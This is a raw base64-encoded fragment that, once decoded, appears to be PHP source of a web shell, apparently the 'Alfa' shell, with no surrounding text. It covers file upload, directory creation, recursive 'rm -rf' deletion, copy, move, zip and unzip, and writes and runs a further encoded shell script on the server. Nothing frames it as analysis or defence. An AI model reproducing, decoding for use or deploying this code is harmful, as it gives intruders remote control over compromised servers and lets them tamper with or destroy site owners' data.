Zhc2NyaXB0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iY3NzIj5jc3M8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ4bWwiPnhtbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InNxbCI+c3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ic3dpZnQiPnN3aWZ0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ic2giPmJhc2g8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJsdWEiPmx1YTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InBvd2Vyc2hlbGwiPnBvd2Vyc2hlbGw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJqc3AiPmpzcDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImphdmEiPmphdmE8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJqc29uIj5qc29uPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0icGxhaW5fdGV4dCI+cGxhaW5fdGV4dDwvb3B0aW9uPjwvc2VsZWN0PjxzcGFuPlNvZnQgV3JhcDogPC9zcGFuPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0id3JhcG1vZGUiIGNsYXNzPSJhY2UtY29udHJvbGVyIiBvbkNsaWNrPSJhbGZhQWNlQ2hhbmdlV3JhcE1vZGUodGhpcyxcJycuJGJhc2UuJ1wnKTsiIGNoZWNrZWQ+IHwgPHNwYW4+Rm9udCBTaXplOiA8L3NwYW4+PGJ1dHRvbiBjbGFzcz0iYWNlLWNvbnRyb2xlciIgc3R5bGU9ImN1cnNvcjpwb2ludGVyOyIgb25jbGljaz0iYWxmYUFjZUNoYW5nZUZvbnRTaXplKFwnJy4kYmFzZS4nXCcsXCcrXCcsIHRoaXMpO3JldHVybiBmYWxzZTsiPis8L2J1dHRvbj4gfCA8YnV0dG9uIHN0eWxlPSJjdXJzb3I6cG9pbnRlcjsiIGNsYXNzPSJhY2UtY29udHJvbGVyIiBvbmNsaWNrPSJhbGZhQWNlQ2hhbmdlRm9udFNpemUoXCcnLiRiYXNlLidcJywgXCctXCcsIHRoaXMpO3JldHVybiBmYWxzZTsiPi08L2J1dHRvbj4gfCAnOwp9CmZ1bmN0aW9uIGFsZmFGaWxlc01hbjIoKXsKYWxmYWhlYWQoKTsKQWxmYU51bSg4LDksMTAsNyw2LDUsNCk7CmVjaG8gJzxkaXYgc3R5bGU9InBvc2l0aW9uOnJlbGF0aXZlOyIgZm1faWQ9IjEiIGlkPSJmaWxlc21hbl9ob2xkZXJfMSIgY2xhc3M9ImFqYXhhcmVhIGZpbGVzbWFuLWFjdGl2ZS1jb250ZW50Ij48ZGl2IGNsYXNzPSJoZWFkZXIiPjwvZGl2PjwvZGl2Pic7CmFsZmFGb290ZXIoKTsKfQpmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCRzLCRkKXsKaWYoQGlzX2RpcigkYy4kcykpewpAbWtkaXIoJGQuJHMpOwokaCA9IEBvcGVuZGlyKCRjLiRzKTsKd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQppZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkKY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7Cn0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMpKQpAY29weSgkYy4kcywgJGQuJHMpOwp9CmZ1bmN0aW9uIGFsZmFGaWxlc01hbigpewppZighZW1wdHkgKCRfQ09PS0lFWydhbGZhX2YnXSkpCiRfQ09PS0lFWydhbGZhX2YnXSA9IEB1bnNlcmlhbGl6ZSgkX0NPT0tJRVsnYWxmYV9mJ10pOwppZighZW1wdHkoJF9QT1NUWydhbGZhMSddKSl7CnN3aXRjaCgkX1BPU1RbJ2FsZmExJ10pewpjYXNlICd1cGxvYWRGaWxlJzoKJG1vdmVfY21kX2ZpbGUgPSBmYWxzZTsKJGFsZmFfY2FucnVuY21kID0gZmFsc2U7CmlmKCRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10pewokYWxmYV9jYW5ydW5jbWQgPSBfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpOwokbW92ZV9jbWRfZmlsZSA9IHRydWU7Cn0KaWYoX2FsZmFfaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKSl7CiRmaWxlcyA9IHJlQXJyYXlGaWxlcygkX0ZJTEVTWydmJ10pOwokcmV0X2ZpbGVzID0gYXJyYXkoKTsKZm9yZWFjaCgkZmlsZXMgYXMgJGZpbGUpewppZigkbW92ZV9jbWRfZmlsZSYmJGFsZmFfY2FucnVuY21kKXsKYWxmYUV4KCJjYXQgJyIuYWRkc2xhc2hlcygkZmlsZVsndG1wX25hbWUnXSkuIicgPiAnIi5hZGRzbGFzaGVzKCRfUE9TVFsiYyJdLiIvIi4kZmlsZVsnbmFtZSddKS4iJyIpOwp9ZWxzZXsKaWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsndG1wX25hbWUnXSwkZmlsZVsnbmFtZSddKSl7CiRvdyA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlb3duZXIiKT9AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZmlsZVsnbmFtZSddKSk6YXJyYXkoIm5hbWUiID0+ICI/Pz8/Iik7CiRnciA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlZ3JvdXAiKT9AcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkZmlsZVsnbmFtZSddKSk6YXJyYXkoIm5hbWUiID0+ICI/Pz8/Iik7CiRmaWxlX293bmVyID0gJG93WyduYW1lJ10/JG93WyduYW1lJ106KGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QGZpbGVvd25lcigkZmlsZVsnbmFtZSddKToiPz8/PyIpOwokZmlsZV9ncm91cCA9ICRnclsnbmFtZSddPyRnclsnbmFtZSddOihmdW5jdGlvbl9leGlzdHMoImZpbGVncm91cCIpP0BmaWxlZ3JvdXAoJGZpbGVbJ25hbWUnXSk6Ij8/Pz8iKTsKJGZpbGVfbW9kaWZ5ID0gQGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkZmlsZVsnbmFtZSddKSk7CiRmaWxlX3Blcm0gPSBhbGZhUGVybXNDb2xvcigkZmlsZVsnbmFtZSddKTsKJGZpbGVfc2l6ZSA9IEBmaWxlc2l6ZSgkZmlsZVsnbmFtZSddKTsKJHJldF9maWxlc1tdID0gYXJyYXkoIm5hbWUiID0+ICRmaWxlWyduYW1lJ10sICJzaXplIiA9PiBhbGZhU2l6ZSgkZmlsZV9zaXplKSwgInBlcm0iID0+ICRmaWxlX3Blcm0sICJtb2RpZnkiID0+ICRmaWxlX21vZGlmeSwgIm93bmVyIiA9PiAkZmlsZV9vd25lci4iLyIuJGZpbGVfZ3JvdXApOwp9Cn0KfQppZighJG1vdmVfY21kX2ZpbGUpewplY2hvIGpzb25fZW5jb2RlKCRyZXRfZmlsZXMpOwp9Cn1lbHNlewplY2hvICJub3Blcm0iOwpyZXR1cm47Cn0KaWYoISRtb3ZlX2NtZF9maWxlKXsKcmV0dXJuOwp9CmJyZWFrOwpjYXNlICdta2Rpcic6CiRuZXdfZGlyX2NtZCA9IGZhbHNlOwppZigkR0xPQkFMU1snZ2xvYl9jaGRpcl9mYWxzZSddKXsKaWYoX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7CmlmKF9hbGZhX2lzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSkpewppZighX2FsZmFfaXNfZGlyKHRyaW0oJF9QT1NUWydhbGZhMiddKSkpewphbGZhRXgoImNkICciLnRyaW0oYWRkc2xhc2hlcygkX1BPU1RbJ2MnXSkpLiInO21rZGlyICciLnRyaW0oYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmEyJ10pKS4iJyIpOwplY2hvICI8c2NyaXB0PmFsZmFTaG93Tm90aWZpY2F0aW9uKCciLmFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMiddKS4iIGNyZWF0ZWQuLi4nLCAnRmlsZXMgbWFuYWdlcicpOzwvc2NyaXB0PiI7Cn1lbHNlewplY2hvICI8c2NyaXB0PmFsZmFTaG93Tm90aWZpY2F0aW9uKCdmb2xkZXIgYWxyZWFkeSBleGlzdGVkJywgJ0ZpbGVzIG1hbmFnZXInLCAnZXJyb3InKTs8L3NjcmlwdD4iOwp9Cn1lbHNlewplY2hvICI8c2NyaXB0PmFsZmFTaG93Tm90aWZpY2F0aW9uKCdmb2xkZXIgaXNudCB3cml0YWJsZSAhJywgJ0ZpbGVzIG1hbmFnZXInLCAnZXJyb3InKTs8L3NjcmlwdD4iOwp9Cn1lbHNlewplY2hvICI8c2NyaXB0PmFsZmFTaG93Tm90aWZpY2F0aW9uKCdDYW5cJ3QgY3JlYXRlIG5ldyBkaXIgIScsICdGaWxlcyBtYW5hZ2VyJywgJ2Vycm9yJyk7PC9zY3JpcHQ+IjsKfQp9ZWxzZXsKaWYoX2FsZmFfaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKSl7CmlmKCFfYWxmYV9pc19kaXIodHJpbSgkX1BPU1RbJ2FsZmEyJ10pKSl7CmlmKCFAbWtkaXIodHJpbSgkX1BPU1RbJ2FsZmEyJ10pKSl7CmVjaG8gIjxzY3JpcHQ+YWxmYVNob3dOb3RpZmljYXRpb24oJ0NhblwndCBjcmVhdGUgbmV3IGRpciAhJywgJ0ZpbGVzIG1hbmFnZXInLCAnZXJyb3InKTs8L3NjcmlwdD4iOwp9ZWxzZXsKZWNobyAiPHNjcmlwdD5hbGZhU2hvd05vdGlmaWNhdGlvbignIi5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTInXSkuIiBjcmVhdGVkLi4uJywgJ0ZpbGVzIG1hbmFnZXInKTs8L3NjcmlwdD4iOwp9Cn1lbHNlewplY2hvICI8c2NyaXB0PmFsZmFTaG93Tm90aWZpY2F0aW9uKCdmb2xkZXIgYWxyZWFkeSBleGlzdGVkJywgJ0ZpbGVzIG1hbmFnZXInLCAnZXJyb3InKTs8L3NjcmlwdD4iOwp9Cn1lbHNlewplY2hvICI8c2NyaXB0PmFsZmFTaG93Tm90aWZpY2F0aW9uKCdmb2xkZXIgaXNudCB3cml0YWJsZSAhJywgJ0ZpbGVzIG1hbmFnZXInLCAnZXJyb3InKTs8L3NjcmlwdD4iOwp9Cn0KYnJlYWs7CmNhc2UgJ2RlbGV0ZSc6CmZ1bmN0aW9uIGRlbGV0ZURpcigkcGF0aCl7CiRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7CiRkaCA9IEBvcGVuZGlyKCRwYXRoKTsKd2hpbGUoKCRpdGVtID0gQHJlYWRkaXIoJGRoKSkgIT09IGZhbHNlKXsKJGl0ZW0gPSAkcGF0aC4kaXRlbTsKaWYoKGJhc2VuYW1lKCRpdGVtKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuIikpCmNvbnRpbnVlOwokdHlwZSA9IEBmaWxldHlwZSgkaXRlbSk7CmlmICgkdHlwZSA9PSAiZGlyIikKZGVsZXRlRGlyKCRpdGVtKTsKZWxzZQpAdW5saW5rKCRpdGVtKTsKfQpAY2xvc2VkaXIoJGRoKTsKQHJtZGlyKCRwYXRoKTsKfQppZihpc19hcnJheShAJF9QT1NUWydmJ10pKQpmb3JlYWNoKCRfUE9TVFsnZiddIGFzICRmKXsKaWYoJGYgPT0gJy4uJykKY29udGludWU7CiRmID0gcmF3dXJsZGVjb2RlKCRmKTsKaWYoJEdMT0JBTFNbImdsb2JfY2hkaXJfZmFsc2UiXSl7CmlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewphbGZhRXgoInJtIC1yZiAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnYyddLicvJy4kZikuIiciKTsKfQp9ZWxzZXsKYWxmYUV4KCJybSAtcmYgJyIuYWRkc2xhc2hlcygkZikuIiciLGZhbHNlLGZhbHNlKTsKaWYoQGlzX2RpcigkZikpCmRlbGV0ZURpcigkZik7CmVsc2UKQHVubGluaygkZik7Cn0KfQppZihAaXNfZGlyKHJhd3VybGRlY29kZShAJF9QT1NUWydhbGZhMiddKSkmJnJhd3VybGRlY29kZShAJF9QT1NUWydhbGZhMiddKSE9Jy4uJyl7CmRlbGV0ZURpcihyYXd1cmxkZWNvZGUoQCRfUE9TVFsnYWxmYTInXSkpOwphbGZhRXgoInJtIC1yZiAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTInXSkuIiciLGZhbHNlLGZhbHNlKTsKfWVsc2V7CkB1bmxpbmsocmF3dXJsZGVjb2RlKEAkX1BPU1RbJ2FsZmEyJ10pKTsKfQppZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdKXsKJHNvdXJjZSA9IHJhd3VybGRlY29kZShAJF9QT1NUWydhbGZhMiddKTsKaWYoJHNvdXJjZSE9Jy4uJyYmIWVtcHR5KCRzb3VyY2UpKXsKaWYoX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7CmFsZmFFeCgiY2QgJyIudHJpbShhZGRzbGFzaGVzKCRfUE9TVFsnYyddKSkuIic7cm0gLXJmICciLmFkZHNsYXNoZXMoJHNvdXJjZSkuIiciKTsKfQp9Cn0KaWYoaXNfYXJyYXkoJF9QT1NUWydmJ10pKQpyZXR1cm47CmJyZWFrOwpjYXNlICdwYXN0ZSc6CmlmKCRfQ09PS0lFWydhbGZhX2FjdCddID09ICdjb3B5JyYmaXNzZXQoJF9DT09LSUVbJ2FsZmFfZiddKSl7CmZvcmVhY2goJF9DT09LSUVbJ2FsZmFfZiddIGFzICRmKQpjb3B5X3Bhc3RlKCRfQ09PS0lFWydhbGZhX2MnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsKfWVsc2VpZigkX0NPT0tJRVsnYWxmYV9hY3QnXSA9PSAnbW92ZScmJmlzc2V0KCRfQ09PS0lFWydhbGZhX2YnXSkpewpmdW5jdGlvbiBtb3ZlX3Bhc3RlKCRjLCRzLCRkKXsKaWYoQGlzX2RpcigkYy4kcykpewpAbWtkaXIoJGQuJHMpOwokaCA9IEBvcGVuZGlyKCRjLiRzKTsKd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQppZigoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKQpjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsKfWVsc2VpZihAaXNfZmlsZSgkYy4kcykpCkBjb3B5KCRjLiRzLCAkZC4kcyk7Cn0KZm9yZWFjaCgkX0NPT0tJRVsnYWxmYV9mJ10gYXMgJGYpCkByZW5hbWUoJF9DT09LSUVbJ2FsZmFfYyddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOwp9ZWxzZWlmKCRfQ09PS0lFWydhbGZhX2FjdCddID09ICd6aXAnJiZpc3NldCgkX0NPT0tJRVsnYWxmYV9mJ10pKXsKaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpewokemlwID0gbmV3IFppcEFyY2hpdmUoKTsKJHppcFggPSAiYWxmYV8iLnJhbmQoMSwxMDAwKS4iLnppcCI7CmlmKCR6aXAtPm9wZW4oJHppcFgsIDEpKXsKQGNoZGlyKCRfQ09PS0lFWydhbGZhX2MnXSk7CmZvcmVhY2goJF9DT09LSUVbJ2FsZmFfZiddIGFzICRmKXsKaWYoJGYgPT0gJy4uJyljb250aW51ZTsKaWYoQGlzX2ZpbGUoJF9DT09LSUVbJ2FsZmFfYyddLiRmKSkKJHppcC0+YWRkRmlsZSgkX0NPT0tJRVsnYWxmYV9jJ10uJGYsICRmKTsKZWxzZWlmKEBpc19kaXIoJF9DT09LSUVbJ2FsZmFfYyddLiRmKSl7CiRpdGVyYXRvciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZi4nLycpKTsKZm9yZWFjaCgkaXRlcmF0b3IgYXMgJGtleT0+JHZhbHVlKXsKJGtleSA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLHJlYWxwYXRoKCRrZXkpKTsKaWYoQGlzX2Rpcigka2V5KSl7CmlmKGluX2FycmF5KHN1YnN0cigka2V5LCBzdHJycG9zKCRrZXksJy8nKSsxKSxhcnJheSgnLicsICcuLicpKSljb250aW51ZTsKfWVsc2V7JHppcC0+YWRkRmlsZSgka2V5LCRrZXkpO319fX0KQGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7CiR6aXAtPmNsb3NlKCk7Cl9fYWxlcnQoJz4+ICcuJHppcFguJyA8PCBpcyBjcmVhdGVkLi4uJyk7fX0KfWVsc2VpZigkX0NPT0tJRVsnYWxmYV9hY3QnXSA9PSAndW56aXAnJiZpc3NldCgkX0NPT0tJRVsnYWxmYV9mJ10pKXsKaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpewokemlwID0gbmV3IFppcEFyY2hpdmUoKTsKZm9yZWFjaCgkX0NPT0tJRVsnYWxmYV9mJ10gYXMgJGYpIHsKaWYoJHppcC0+b3BlbigkX0NPT0tJRVsnYWxmYV9jJ10uJGYpKXsKJHppcC0+ZXh0cmFjdFRvKCRfQ09PS0lFWydhbGZhX2N3ZCddKTsKJHppcC0+Y2xvc2UoKTt9fX19CnVuc2V0KCRfQ09PS0lFWydhbGZhX2YnXSk7CmJyZWFrOwpkZWZhdWx0OgppZighZW1wdHkoJF9QT1NUWydhbGZhMSddKSl7CmlmKGluX2FycmF5KCRfUE9TVFsnYWxmYTEnXSwgYXJyYXkoImNvcHkiLCAibW92ZSIsICJ6aXAiLCAidW56aXAiKSkpewpfX2FsZmFfc2V0X2Nvb2tpZSgnYWxmYV9hY3QnLCBAJF9QT1NUWydhbGZhMSddKTsKX19hbGZhX3NldF9jb29raWUoJ2FsZmFfZicsIEBzZXJpYWxpemUoJF9QT1NUWydmJ10pKTsKX19hbGZhX3NldF9jb29raWUoJ2FsZmFfYycsIEAkX1BPU1RbJ2MnXSk7CnJldHVybjsKfQp9CmJyZWFrOwp9Cn0KJGRpckNvbnRlbnQgPSBAc2NhbmRpcihpc3NldCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsKaWYocHJlZ19tYXRjaCgiIyguKilcL1wuXC4jIiwgJF9QT1NUWydjJ10sICRyZXMpKXsKJHBhdGggPSBleHBsb2RlKCcvJywgJHJlc1sxXSk7CmFycmF5X3BvcCgkcGF0aCk7CiRfUE9TVFsnYyddID0gaW1wbG9kZSgnLycsICRwYXRoKTsKfQokY21kX2RpciA9IGZhbHNlOwppZigkZGlyQ29udGVudCA9PT0gZmFsc2UpewppZihfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsKJHRtcF9nZXRkaXJfcGF0aCA9IEAkX0NPT0tJRVsiYWxmYWNoZGlyX2Jhc2hfcGF0aCJdOwpAY2hkaXIoZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKTsKaWYoIWlzc2V0KCRfQ09PS0lFWyJhbGZhY2hkaXJfYmFzaCJdKXx8QCFmaWxlX2V4aXN0cygkdG1wX2dldGRpcl9wYXRoLiIvYWxmYWNnaWFwaS9nZXRkaXIuYWxmYSIpKXsKJGJhc2ggPSAialpUZmI1c3dFTWVmNGErNHVhWWtTbW1TL1lwRXdzT2txVk5mTysxaFNxS0tnZ25Xd0k0TUVhRnBwTDN2djl4ZlV0c1lTS3BNV2g2STcvTzlPOXZjSFZmdnhydENqSjhvR3hlcC9mWCtJY0JUKy83dWU0RGRGWE50RXFVYzBCTFpDUmRBZ1RMQWc2d0FMd1FzZllkemlMa044cmNOeXpSQWlvMHhSUnJSQkpaTHdCU0NBTkR0TFlMcmEvRDJNcjVLYVpTQ0lHR2NVZlpyQ092MUhNcVVNQjNWSmNPRDFnTzhCTEJpdzg2REJocG9PNkcyUlZuQ1pVUlJoaVY0RVNEbnpuZCsrTTQzM3lsODU2Yy9jVUxmK1lMYUxKYTZuK3U3K2d6Z0NYV2RVSWl3aHNWaUFRaXJiTWkyeW5wTEFuelF5bkt5UHVyZGVNV0k2T2pVMEkzZ3UyMUgzMHRxRmZTNWovNmdTTTVqbXRRZCsyaGl0MFRrYkpkMy9OTUpUM2Q1eURybHMxRVlxUjU3MVhXYjF5QUxOQmdBcGNGa0xwOExmTGpxZkk2S2pFWXc3QXYySnN0SUZ1L1FXVDZtMUo4ZS8vNyswNVF5NW95OFBkTlp1S3hBVTIxekdWM3p5WFEybTZHK3ZKYlZYaFZObEdKQWt3L0ZRbTVYN2VWRFZQS3hGNVYwMExYVm1iMUtGa2FWVHlWVXJhU1lPR0ZubTBRODR5SkFlVWpaNDBZUXd2UlJaVUtTbVhUL0ZTbzd0U1I5YUVFdStBZ1N0eDc5YWJIcUhmMFNZaXBJVkhKUm4yMmtXMHRwSjBmcVl3VFo3TEpReU03T2lMN3V5OHRsQjVKdnkvcmZia1dkUC9HTVJxQ202TUwrT3JBNXRwN3p3d3F4TUNjcjVNTktUc0VLM2NoLzVXcElzMVJRVDRHaFpxMndIZ09EelZwaE5RcUdOa3NGbTJrd3VEV1VZSnJFS0ozVlNycGRUa1JqdDdJdXpZbHM3T09Oclp1NCtaNGRqbXYwQ2c9PSI7CiR0bXBfZ2V0ZGlyX3BhdGggPSBhbGZhV3JpdGVUb2NnaWFwaSgiZ2V0ZGlyLmFsZmEiLCRiYXNoKTsKX19hbGZhX3NldF9jb29raWUoImFsZmFjaGRpcl9iYXNoIiwgInRydWUiKTsKX19hbGZhX3NldF9jb29raWUoImFsZmFjaGRpcl9iYXNoX3BhdGgiLCAkdG1wX2dldGRpcl9wYXRoKTsKfQokZGlyQ29udGVudCA9IGFsZmFFeCgiY2QgIi4kdG1wX2dldGRpcl9wYXRoLiIvYWxmYWNnaWFwaTtzaCBnZXRkaXIuYWxmYSAnIi5hZGRzbGFzaGVzKGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pLiInIik7CiRkaXJDb250ZW50ID0ganNvbl9kZWNvZGUoJGRpckNvbnRlbnQsIHRydWUpOwppZihpc19hcnJheSgkZGlyQ29udGVudCkpewphcnJheV9wb3AoJGRpckNvbnRlbnQpOwokY21kX2RpciA9IHRydWU7Cn1lbHNlewokZGlyQ29udGVudCA9IGZhbHNlOwp9Cn0KfQphbGZhaGVhZCgpOwpBbGZhTnVtKDgsOSwxMCw3LDYsNSw0KTsKJGNvdW50X2RpckNvbnRlbnQgPSBAY291bnQoJGRpckNvbnRlbnQpOwppZigkY291bnRfZGlyQ29udGVudCA+IDMwMCl7CkAkX0NPT0tJRVsiYWxmYV9saW1pdGVkX2ZpbGVzIl0gPSAxMDA7Cn0KJGFsZmFfc29ydF9ieSA9IGlzc2V0KCRfQ09PS0lFWyJhbGZhX3NvcnRfYnkiXSkgPyAkX0NPT0tJRVsiYWxmYV9zb3J0X2J5Il0gOiAnbmFtZSc7CiRhbGZhX2xpbWl0ZWRfZmlsZXMgPSBpc3NldCgkX0NPT0tJRVsiYWxmYV9saW1pdGVkX2ZpbGVzIl0pID8gKGludCkkX0NPT0tJRVsiYWxmYV9saW1pdGVkX2ZpbGVzIl0gOiAwOwokYWxmYV9maWxlc19wYWdlX251bWJlciA9IGlzc2V0KCRfUE9TVFsicGFnZW51bSJdKSA/IChpbnQpJF9QT1NUWyJwYWdlbnVtIl0gOiAxOwokYWxmYV9maWxlc21hbl9kaXJlY3Rpb24gPSBpc3NldCgkX0NPT0tJRVsiYWxmYV9maWxlc21hbl9kaXJlY3Rpb24iXSkgPyAkX0NPT0tJRVsiYWxmYV9maWxlc21hbl9kaXJlY3Rpb24iXSA6ICdhc2MnOwokZmlsZXNfcGFnZV9jb3VudCA9IDE7CmlmKCRhbGZhX2xpbWl0ZWRfZmlsZXMgPiAwKXsKJGZpbGVzX3BhZ2VfY291bnQgPSBjZWlsKCRjb3VudF9kaXJDb250ZW50LyRhbGZhX2xpbWl0ZWRfZmlsZXMpOwppZigkZmlsZXNfcGFnZV9jb3VudCA+IDEpewokZmlsZXNfcGFnZV9jb3VudCsrOwp9Cn0KZWNobyAnPGRpdj48ZGl2IGNsYXNzPSJmaWx0ZXJzLWhvbGRlciI+PHNwYW4+RmlsdGVyOiA8L3NwYW4+PGlucHV0IHN0eWxlPSJjb2xvcjojMjVmZjAwOyIgYXV0b2NvbXBsZXRlPSJvZmYiIHR5cGU9InRleHQiIGlkPSJyZWdleC1maWx0ZXIiIG5hbWU9Im5hbWUtZmlsdGVyIiBvbmtleWRvd249ImRvRmlsdGVyTmFtZSh0aGlzKTsiPjxzcGFuIHN0eWxlPSJtYXJnaW4tbGVmdDoxMHB4Ij5Tb3J0IEJ5OiA8L3NwYW4+PHNlbGVjdCBuYW1lPSJzb3J0X2ZpbGVzIiBvbmNoYW5nZT0ic29ydEJ5U2VsZWN0ZWRWYWx1ZSh0aGlzLFwnYWxmYV9zb3J0X2J5XCcpOyIgc3R5bGU9ImNvbG9yOiMyNWZmMDA7Ij48b3B0aW9uIHZhbHVlPSJuYW1lIiAnLigkYWxmYV9zb3J0X2J5ID09ICduYW1lJz8nc2VsZWN0ZWQnOicnKS4nPk5hbWU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzaXplIiAnLigkYWxmYV9zb3J0X2J5ID09ICdzaXplJz8nc2VsZWN0ZWQnOicnKS4nPlNpemU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtb2RpZnkiICcuKCRhbGZhX3NvcnRfYnkgPT0gJ21vZGlmeSc/J3NlbGVjdGVkJzonJykuJz5Nb2RpZnk8L29wdGlvbj48L3NlbGVjdD48c3BhbiBzdHlsZT0ibWFyZ2luLWxlZnQ6MTBweCI+RGlyZWN0aW9uOiA8L3NwYW4+PHNlbGVjdCBuYW1lPSJkaXJlY3Rpb25fZmlsZXNtYW4iIG9uQ2hhbmdlPSJzb3J0QnlTZWxlY3RlZFZhbHVlKHRoaXMsXCdhbGZhX2ZpbGVzbWFuX2RpcmVjdGlvblwnKSIgc3R5bGU9ImNvbG9yOiMyNWZmMDA7Ij48b3B0aW9uIHZhbHVlPSJhc2MiICcuKCRhbGZhX2ZpbGVzbWFuX2RpcmVjdGlvbiA9PSAnYXNjJz8nc2VsZWN0ZWQnOicnKS4nPkFzY2VuZGluZzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRlc2MiICcuKCRhbGZhX2ZpbGVzbWFuX2RpcmVjdGlvbiA9PSAnZGVzYyc/J3NlbGVjdGVkJzonJykuJz5EZXNjZW5kaW5nPC9vcHRpb24+PC9zZWxlY3Q+PHNwYW4gc3R5bGU9Im1hcmdpbi1sZWZ0OjEwcHg7Ij4gbGltaXQ6IDwvc3Bhbj48aW5wdXQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO3dpZHRoOiA0MHB4O2NvbG9yOiMyNWZmMDA7IiB0eXBlPSJ0ZXh0IiBuYW1lPSJsaW1pdGVkX251bWJlciIgdmFsdWU9IicuJGFsZmFfbGltaXRlZF9maWxlcy4nIiBvbmlucHV0PSJ0aGlzLnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSgvW14wLTldL2csXCdcJyk7c2V0Q29va2llKFwnYWxmYV9saW1pdGVkX2ZpbGVzXCcsIHRoaXMudmFsdWUsIDIwMTIpOyI+PHNwYW4gc3R5bGU9Im1hcmdpbi1sZWZ0OjEwcHg7Ij5GaWxlcyBDb3VudDogPGIgc3R5bGU9ImNvbG9yOiMyNWZmMDA7Ij4nLigkY291bnRfZGlyQ29udGVudC0xKS4nPC9iPjwvc3Bhbj48L2Rpdj48ZGl2IGNsYXNzPSJoZWFkZXIiPic7CmlmKCRkaXJDb250ZW50ID09IGZhbHNlKXsKZWNobyAnPGNlbnRlcj48YnI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxNnB4OyI+PHNwYW4gc3R5bGU9ImNvbG9yOiByZWQ7IC13ZWJraXQtdGV4dC1zaGFkb3c6IDFweCAxcHggMTNweDsiPjxzdHJvbmc+PGI+PGJpZz4hISEgQWNjZXNzIERlbmllZCAhISE8L2I+PC9iaWc+PGJyPjxicj48L3N0cm9uZz48L2Rpdj4nOwphbGZhRm9vdGVyKCk7CnJldHVybjsKfQpnbG9iYWwgJHNvcnQ7CiRzb3J0ID0gYXJyYXkoJ25hbWUnLCAxKTsKaWYoaXNzZXQoJF9DT09LSUVbImFsZmFfc29ydF9ieSJdKSAmJiAhZW1wdHkoJF9DT09LSUVbImFsZmFfc29ydF9ieSJdKSl7CiRzb3J0WzBdID0gJF9DT09LSUVbImFsZmFfc29ydF9ieSJdOwp9CmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKSB7CmlmKHByZWdfbWF0Y2goJyFzXyhbQS16XSspXyhcZHsxfSkhJywgJF9QT1NUWydhbGZhMSddLCAkbWF0Y2gpKQokc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOwp9CmlmKCRhbGZhX2